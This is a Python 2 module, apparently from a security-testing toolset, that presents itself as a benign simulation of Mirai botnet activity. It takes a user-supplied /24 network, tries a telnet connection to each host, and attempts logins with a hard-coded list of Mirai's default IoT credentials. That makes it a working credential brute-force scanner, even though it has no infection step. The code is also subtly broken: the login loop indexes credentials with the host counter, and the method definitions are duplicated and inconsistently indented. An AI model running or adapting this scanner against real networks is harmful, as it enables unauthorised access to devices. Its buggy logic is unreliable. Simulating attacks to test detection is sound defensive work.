#!/usr/bin/python
#
# Filename:  mirai_botnet_activity.py
#
# Version: 1.0.0
#
# Author:  Joe Gervais (TryCatchHCF)
#
# Summary:
#
#	Part of the DumpsterFire Toolset. See documentation at https://github.com/TryCatchHCF/DumpsterFire
# 	Generates benign Mirai Bot activity (no infection code or attempts to spread). Tries to open a telnet connection to all hosts on target network. If telnet session available, it will try to login using all user/password combos targeted by Mirai. No action is taken if the login succeeeds."
#
# Description:
#
#

import os, sys, telnetlib, datetime

# Username/Password pairs used by Mirai bot code

miraiCredPairs = (['root', 'xc3511'],  
['root', 'vizxv'],  
['root', 'admin'],  
['admin', 'admin'],  
['root', '888888'],  
['root', 'xmhdipc'],  
['root', 'default'],  
['root', 'juantech'],  
['root', '123456'],  
['root', '54321'],  
['support', 'support'],  
['root', ''],  
['admin', 'password'],  
['root', 'root'],  
['root', '12345'],  
['user', 'user'],  
['admin', ''],  
['root', 'pass'],  
['admin', 'admin1234'],  
['root', '1111'],  
['admin', 'smcadmin'],  
['admin', '1111'],  
['root', '666666'],  
['root', 'password'],  
['root', '1234'],  
['root', 'klv123'],  
['Administrator', 'admin'],  
['service', 'service'],  
['supervisor', 'supervisor'],  
['guest', 'guest'],  
['guest', '12345'],  
['guest', '12345'],  
['admin1', 'password'],  
['administrator', '1234'],  
['666666', '666666'],  
['888888', '888888'],  
['ubnt', 'ubnt'],  
['root', 'klv1234'],  
['root', 'Zte521'],  
['root', 'hi3518'],  
['root', 'jvbzd'],  
['root', 'anko'],  
['root', 'zlxx.'],  
['root', '7ujMko0vizxv'],  
['root', '7ujMko0admin'],  
['root', 'system'],  
['root', 'ikwb'],  
['root', 'dreambox'],  
['root', 'user'],  
['root', 'realtek'],  
['root', '00000000'],  
['admin', '1111111'],  
['admin', '1234'],  
['admin', '12345'],  
['admin', '54321'],  
['admin', '123456'],  
['admin', '7ujMko0admin'],  
['admin', '1234'],  
['admin', 'pass'],  
['admin', 'meinsm'],  
['tech', 'tech'],  
['mother', 'fucker'])



from FireModules.fire_module_base_class import *

class mirai_botnet_activity( FireModule ):

	def __init__(self):
		self.commentsStr = "Malware/mirai_botnet_activity"

	def __init__(self, moofStr):
		self.moofStr = moofStr
		self.commentsStr = "Malware/mirai_botnet_activity"
		return;

	def Description( self ):
		self.Description = "Benign simulation of Mirai Bot activity, attempts telnet connection to all hosts on target network. If telnet session available, tries to login using all user/password combos targeted by Mirai."
		return self.Description

        def Configure( self ):
                self.networkAddrStr = raw_input( "Enter target network adddress (W.X.Y.Z): " )
                return

        def GetParameters( self ):
                return( self.networkAddrStr )

        def SetParameters( self, parametersStr ):
                self.networkAddrStr = parametersStr
                return

        def ActivateLogging( self, logFlag ):
                print self.commentsStr + ": Setting Logging flag!"
                print logFlag
                return

        def Ignite( self ):

		# For each IP in range
		#	Loop over Mirai user:pwd pairs
		#		Attempt telnet connection and login 

		if ( self.networkAddrStr == "" ):
			print "## ", self.commentsStr, ": Error - Network address string is blank"
			return
		else:

			# Extract network address /16 as root for full /24 connection attempts

			self.NetworkFields = self.networkAddrStr.split( "." )
			self.NetworkAddrRoot = self.NetworkFields[ 0 ] + "." + self.NetworkFields[ 1 ] + "." + self.NetworkFields[ 2 ] + "."
			i = 1

			# Looping over 1-254 on the target subnet (no need to hit broadcast address x.y.z.255)
			# 
			while i < 255:

				self.mCurrentDateTimeUTC = datetime.datetime.utcnow()
				currentIPaddr = "%s%d" % ( self.NetworkAddrRoot, i )

				print "UTC", self.mCurrentDateTimeUTC.strftime("%x %X"), "- Attempting telnet connection to:", currentIPaddr
				try:
					# Set timeout to 3 seconds so we don't stall out
					telnetSession = telnetlib.Telnet( currentIPaddr, 23, 3 )
	
					print "Telnet session established to host:", currentIPaddr
	
					m = 0
	
					while m < len(miraiCredPairs):
						pair = miraiCredPairs[ i ]
						username = pair[ 0 ]
						password = pair[ 1 ]
			
						telnetSession.read_until( "login: " )
						telnetSession.write( username + "\n" )
			
						telnetSession.read_until( "Password: " )
						telnetSession.write( password + "\n" )
		
						m = m + 1
				except:
					m = 0
	
				i = i + 1
	
		return
		
